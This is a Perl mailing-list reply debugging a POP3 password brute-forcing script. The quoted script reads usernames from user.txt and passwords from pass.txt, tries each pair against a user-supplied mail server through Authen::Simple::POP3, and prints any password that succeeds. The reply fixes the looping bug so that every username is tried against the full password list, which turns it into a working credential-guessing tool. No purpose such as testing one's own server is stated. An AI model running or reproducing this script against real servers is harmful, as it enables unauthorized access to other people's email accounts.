On Aug 14, 2:15 pm, [EMAIL PROTECTED] wrote:
> #!/usr/bin/perl -w
> use strict;
> use Authen::Simple::POP3;
>
> print "Enter POP3 server hostname: ";
> chomp( my $host = <STDIN> );
>
> my $pop3 = Authen::Simple::POP3->new(
> host => $host
> );
>
> my $pwdlst = "pass.txt";
> open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file \'$pwdlst\'!
> \n";
>
> my $usrlst = "user.txt";
> open( INUSER, $usrlst ) || die "\nERROR: Cannot open file \'$usrlst\'!
> \n";
>
> while ( my $user = <INUSER> ) {
> chomp $user;
> while ( my $pass = <INPASS> ) {
> chomp $pass;
> if ( $pop3->authenticate( $user, $pass ) ) {
> printf "\nPassword is \'%s\' .\n", $pass;
> } else {
> printf "\nTrying %s - %s\n", $user, $pass;
> }
> }
>
> }
>
> close(INUSER);
> close(INPASS);
>
> # It's supposed to read first username from user.txt
> # and try it against all the passwords from pass.txt,
> # and then to move to the next username and run that
> # against all the passwords, too, and so on...but it
> # does not work that way..it just check passwords
> # against the first username and then exits. What's
> # the problem?
> # Thanx for any help.
ah I lost my posting ...so here it is again....u need to open/close
the passwd file in each loop
while ( my $user = <INUSER> ) {
chomp $user;
my $pwdlst = "pass.txt";
open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file \'$pwdlst
\'! \n";
while ( my $pass = <INPASS> ) {
chomp $pass;
if ( $pop3->authenticate( $user, $pass ) ) {
printf "\nPassword is \'%s\' .\n", $pass;
} else {
printf "\nTrying %s - %s\n", $user, $pass;
}
} close(INPASS);
}
--
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
http://learn.perl.org/